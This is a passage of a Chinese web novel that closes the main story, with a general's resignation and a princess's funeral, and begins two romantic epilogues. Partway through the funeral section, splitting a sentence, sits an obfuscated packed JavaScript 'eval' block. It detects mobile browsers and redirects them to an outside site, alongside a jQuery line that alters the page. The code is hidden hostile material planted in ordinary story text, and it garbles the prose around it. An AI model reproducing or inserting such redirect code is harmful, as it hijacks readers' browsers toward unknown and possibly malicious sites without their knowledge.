徐战内心最后一道防线也被攻破，嘴上也不再执着，只是连连道好，将徐菀露紧紧抱在了怀里。 如此美妙的父女欢聚时光，却被一道刀光破坏，徐战背对着他的人马没有看清，但是徐菀露却看清了，这是从父亲那群同生共死的兄弟中飞出来一支箭，速度极快，快到徐菀露都来不及叫。 但是耳边有一阵风也极快，带着轻轻的虎啸掠过徐菀露的耳边。与那白光相碰，最后一枚箭矢落在不远处，而在她眼前站了一个青衫少年。 而刚刚那个放箭的人见势不妙，转身就走，徐战松开徐菀露看着那人远去的背影捡起了地上那只箭，眼神越发阴沉，拨开一旁的青衫少年，朝着那人远去的方向，将箭矢投掷出去。就在众人惊异的目光中，那人被穿了对穿，然后从马上重重的摔了下来。 沉默，无声的沉默，无人敢动一下，就怕这位大将军突然杀红了眼。 直到一个声音打破了沉默，“李无忧，你小子竟然抛下我一个人来这里出风头。”马得源边说边跑了过来，可是靠近了才发现这氛围不对，不禁有些汗颜。 “徐大人，看来他们也没打算放过你。”萧云雁缓了一会说话终于不再那么虚弱。 “一群疯子。” “爹爹，你请辞吧。”徐菀露突如其来的发言震惊了所有人，大家都以为徐战会继续回到边疆，然后再伺机报复，没想到他的亲生女儿竟然这么劝他。 不过更令人没有想到的是，徐战只是沉思了片刻，就对着萧云雁说道：“云雁，你应该很快就要去京都了，帮我把辞呈带着去吧。” “徐大人，你想好了？”萧云雁显然没有想到徐战这么快就做了决定。 “菀露说得对，我还不想这么早就死，你看看深陷京都那些人袁清、李治哪个有好下场，我现在走，至少还能多活几年。” “好。” 盛元十五年的冬季显得格外寒冷，京都的被一股沉重的氛围围绕着，直到来年开春这座冰冷的城市才迎来了一丝暖意。旧时那些背井离乡的人终于又背上了行囊回到了京都，为的只是一场葬礼。 潇湘阁少阁主萧妖雪在平定五皇子反叛时不幸身亡，择良日与春暖花开时落葬。这个葬礼可谓是一场惊动了朝堂和江湖的葬礼。就连圣人都派人来慰问，不过这位圣人却不是周钦德，而是刚刚登基的周明志。 而这一日如果你来到灵堂，你便会看到一副千古奇观。如今的太上皇周钦德出面过，曾经凭借一己之力斩杀路行的萧云雁身边跟着一个不知深浅的中年男子，商界后起之秀黄清落以及那个终日带着面具的侍卫，现在在江湖上已经小有名气李无忧和马得源。京都潇湘阁的楼主文妆、巡检司正职季执礼，工匠司正职赵江河，至于其他的对于萧妖雪仰慕有佳的人更是不计其数。 可是这一场葬礼却唯独没有见到萧妖雪丈夫周明理。不过大家都见怪不怪了，听说当时萧妖雪死的时候，周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16245453|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明理就在现场，恐怕是看到了那一幕吓傻了。整整一个冬天，逢人便问有没有见过萧妖雪，就算那具冰冷的尸体放在他眼前，他都不相信萧妖雪已经去世了。 不过世人也对他颇为同情，这新婚燕尔突然就造此变故，就算是再心如磐石也不可能没有一波动。 周明志得知自己的弟弟有这样的情况，也是焦急万分，四处寻名医给他看病，可是就是不见好转，这人只有越来越疯了。 眼见就要起棺落葬，周明理却突然出现在了墓地说什么都不让将这具尸骨埋葬于此。 “明理，事已至此，还是入土为安吧。”萧云雁实在看不下去，上前劝说道。作为在场的几个长辈，她是最有资格说这话的，毕竟这孩子是她看着长大的。 “师傅，你知道的，她肯定没死对吗？这里面的根本不是她？” “明理……”还不等萧云雁继续说，跟在她身边的那个中年男子就绕到周明理身后一记手刀就把他劈晕了。 “武清，你……”萧云雁有些无奈，武清这招倒是治标治本，现在周明理晕过去，也不用再同他讲道理了，还是武人干事干脆呀。 “时辰要到了，继续吧。”武清看了看晕在怀里的周明理，担心他醒过来又要继续捣乱，索性就把抱着，这样醒一次敲一次，直到棺椁被安葬好。 周明理再度醒了过来，眼看着武清又要下手，急忙出声阻止道：“等等，我有话说。”这才免得一记手刀。 只是这次他还是转向了萧云雁，“萧阁主。” “我已经不是阁主了。” “萧前阁主，之前妖雪给了我这急令，我现在要用。” “你要怎么用？”萧云雁看着周明理手中那枚木牌，确实是潇湘阁的急令。 “不惜一切代价，帮我找到萧妖雪。”武清在一旁实在听不下去了，正准备再出一次手，却被萧云雁抬手制止了。 “这急令就算你说要杀皇帝，潇湘阁都会不留余力的帮你，你确定现在要用它来做这么没有意义的事情。” “妖雪绝对没有死，既然你们都不愿意说，那就只能让我来逼你们了。” 萧云雁长叹一口气，叫来了一边的文妆，文妆听了周明理的话，脸上也全是为难之色，最终还是将急令递了回去。 “不错，你很聪明她没死，但是萧妖雪死了。你也不用找了，你们不会再见面了。” 周明理终于听到了他心中的答案，但是悲痛却没有一丝一毫的减少，那种无力感还是如同洪水一般将他包围。 “用着急令，我见她一面可以吗？或者帮我带句话，鹿坪丘我买下来了，我会一直在那里等她。” “好。”最终文妆还是接过了急令，周明理也摇摇晃晃的消失在了众人的视线中。 “文妆……” “阁主那边我亲自去说吧，独活的滋味实在不好过。云雁，这次打算住几天呀？” 文妆不禁想到当年江家灭门的惨案，她一个人过了这么多年，他们都还年轻，都还活在世上，无冤无仇，又何必这样折磨呢。 “唉，你呀……我们等那老家伙收拾好东西就走，他说什么都要去武清宗住几天，真是麻烦。” “你们的关系还是这么好。” “许久未见了罢了。” 东梁小记： 开元五年，东梁太子周钦铭遇刺身亡，德王当场抓获凶犯，凶犯伏法后自认是薄凉宗在背后指使，此事又有鬼月和兵马司见证，薄凉宗也难逃罪责了。 德王殿下当机立断，捕获剿灭各地薄凉宗乱党，收缴相关阵法，至于相关涉事人员已叛乱处置。 一年之后，圣人重新拟定了圣旨，封周钦德为太子，不过半年圣人仙逝，周钦德登基。接来了原配叶冥，又纳林梦为妃。 萧云雁也成功成为了潇湘阁阁主，与袁清带领的鬼月一同辅佐周钦德。 至于武清那个毛头小子，最后也得偿所愿的亲手杀了周钦铭，在周钦德的保护下，全身而退，只是没有周钦德命令他是再也不能踏过回雁山半步。 至于徐战，官任大将军，去边境打了几年战回来之后，就带着一个女儿回来了，成了他们几人中最先有儿女承欢膝下的人。 东梁顿时进入了繁盛时期。 （正文完） 78. 番外1 黄清落和李安国在萧妖雪的葬礼结束后，并没有着急赶去西域，而是在京都寻了个小院子，暂时住了下来。 在这期间，黄清落回去见了黄世学，黄世学看着现在黄清落不免感慨，当年家里那些老东西的眼光还真是毒辣。黄清落联合马家把木偶兵做得风生水起的，这绝对不是一般商人能有的胆识。要说黄世学不开心那是不可能的，只是听说跟他一起离开的那个李家大公子已经销声匿迹了，也不知大清落这次再去西域可否安全。 这说着说着话题自然就扯到了黄清落的婚事上，且不说别人，袁梅、萧妖雪与黄清落可都是要好的伙伴，现在都已经大婚了。黄清落怎么也逃不过这件事了。 “清落，虽然说你现在事业有成，你的婚事你可有想法？” “父亲，我不想说这个。”黄清落心中也早有想法，可是这事要是从父母口中问出来，可就不是这么个味道了。 “清落，我知道你之前对于李家那个大公子倾心，但是他现在生死未卜，你也不能……” “父亲……”黄清落很想告诉父亲，他没有罪他也没有死，但是这说出谁会信呢，说不好还会给李安国惹一身麻烦。“父亲，我这样挺好的。” 可是知女莫若父，黄世学养了黄清落这么多年，她只要一个眼神，他就知道她心里在想什么。 “清落，若真的是他，为父不会再阻止你们了。李相的事情已经过去这么久了，没有人在纠结，你们以后常年都要出入西域，在京都时间不多，做的也是商人的活计，没有那么多人在意了，你若是真喜欢他你们就办了。” “父亲？” “嗯？” “你真的不反对？” “不反对。” “父亲，你真的太好了。” 黄清落离开黄府后就直奔他们住的那个小院子去，推开门就看到李安国坐在院子里擦箭，现在没有外人，他自然也不用带着那厚重的面具。 男子的面容，倒映在长剑上，少了少年英气，却多了成熟稳重。黄清落一时之间竟然看的有些入迷了。却不知李安国透过长剑也看入了迷。 “回来了？”李安国看着呆在原地少女，嘴唇不自觉地一弯，笑着问道。 “啊？哦，是的。那个我去收拾收拾房间。” 黄清落犯花痴被抓了个现行，难免有些尴尬，应付了一句就钻回了屋里。都不给李安国机会问问她回去和黄世学聊了些什么。 他们来京都后，李安国就通过潇湘阁将之前在李府的东西搬了回来，可惜这些日子他们都忙得不可开交，不少东西都还来不及收拾就这样随手扔在房间里。 黄清落正愁着从哪里开始的时候，一幅画卷吸引了她，这画的卷轴看起来已经有些年岁，画纸已经有些泛黄了，就连上面绑绳也有些毛躁。 就在黄清落打开画卷时，李安国也匆忙推门而入。 “清落，等等！” 可是已经来不及了，那张无脸的画作已经落入了黄清落的眼帘。 黄清落看着画中的女子，只觉得颇为眼熟，这件衣服，好像是自己以前很喜欢的一件。 看着黄清落呆住的背影，李安国也有些慌了。 “那个清落……你听我解释……” “这是我吗？” 黄清落回头，果然看到了李安国那双四处躲闪的眼睛。这段时间相处，李安国对谁都是淡淡的，这样表情黄清落还是第一次在他脸上看到。 可是这个问题回应她的只有沉默，这下黄清落也不敢再看李安国，她生怕从他脸上看到否认，那样的话心应该会更痛吧。 “看来不是呀，我还说这衣服怎么……” 黄清落话还没说完，嘴唇就被堵住了，原本还站在门边的李安国不知道什么时候已经将她抱在怀里，俯下头正在认真的亲吻着她。 这个时候黄清落眼里看到的，鼻子里闻到的，嘴里尝到的都是李安国了，不知道为何，眼泪就这样不争气的顺着脸颊流到了两张嘴里。 李安国这才放开了她，看着怀中泪眼婆娑的人，顿时有些慌了神。 “清落，你听我说，这个人就是你，不是别人。你别哭呀，我当时确实对你……” 这次换成李安国说不出话来，怀中的人 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黄清落尝到了戏弄李安国的甜头，说话也不再像之前那么拘谨了。虽然李安国就是国子木，但是听着这话他就觉得心中有些不爽。 “他可只是一个侍卫。”不由得带着逼问的语气，靠近了黄清落。 “那又如何，我中意他。” “他的脸还是通缉犯。”又近了一分，二人现在的距离，可以清晰的感受到对方的呼吸。 “我不在意，就算只有我们两个人知道，我也认定是他了。” “既然如此，那我一定转告国子木把黄小姐伺候好。” 说完拦腰就抱起黄清落向着一旁的房间走去，“你干嘛？”黄清落有些慌张，现在是要做她想的那事吗？ “伺候你。可以吗？” “好。” 入了房中，经历了生死的二人终于得偿所愿。或许真如黄清落所说，那喜酒喝不喝已经不重要了。 蛟龙入云旖旎动，凤鸣声碎虎啸吟。热汤灼身春雨落，秋风过后尽红痕。 此夜过后，而那副无脸的画像也被永远的扔在了杂物之中 79. 番外2 周明启被捕入狱后，袁梅自然而然的也被控制了起来。不过好在潇湘阁一直在从中周旋，袁梅在里面既没有见到周明启也没有什么苦。 这样昏天黑地的日子不知道过了多久，终于有一天一个狱卒，打开了牢门，对着袁梅说道：“你可以走了。” 袁梅只觉得这一切有些不太真实，甚至她有些迷茫，现在离开她应该去哪？她现在在京都好像已经没有了可以投奔的人，若再去走江湖，现在心境已经完全不一样了，行侠仗义好像已经离她很远很远了。 可是总不能现在一头撞死在这里吧，这多不值得。 就这样迷迷茫茫的走出了地牢，门外的天光刺痛了袁梅的眼睛，就算再努力睁眼，前面还是一片白茫茫。 诶，不对，好像那里站了一个人？是谁呢？萧妖雪死了，黄清落应该已经离开京都了，还有谁会回来接自己呢。 不过袁梅转念一想，或许只是巧合呢，那人万一根本不是来接自己的呢。 可是他好像向自己走过来了，他是？赵江河？ “袁姑娘，恭喜你。” “赵江……赵大人。”此时袁梅好像已经找回了视力，眼前的正是赵江河。袁梅实在没想到，最后来接她的竟然会是赵江河，这样一个现在看来已经没有半分关系的人。 “外面风大，有什么上车再说吧。” 听了这话袁梅才注意到，这风确实大，也不知道这段时间疏于锻炼，竟然有些站不稳脚了。 “我们现在去哪？”马车上的温度，让袁梅逐渐回过神来，好像也回到了一个正常人的世界。 “你想去 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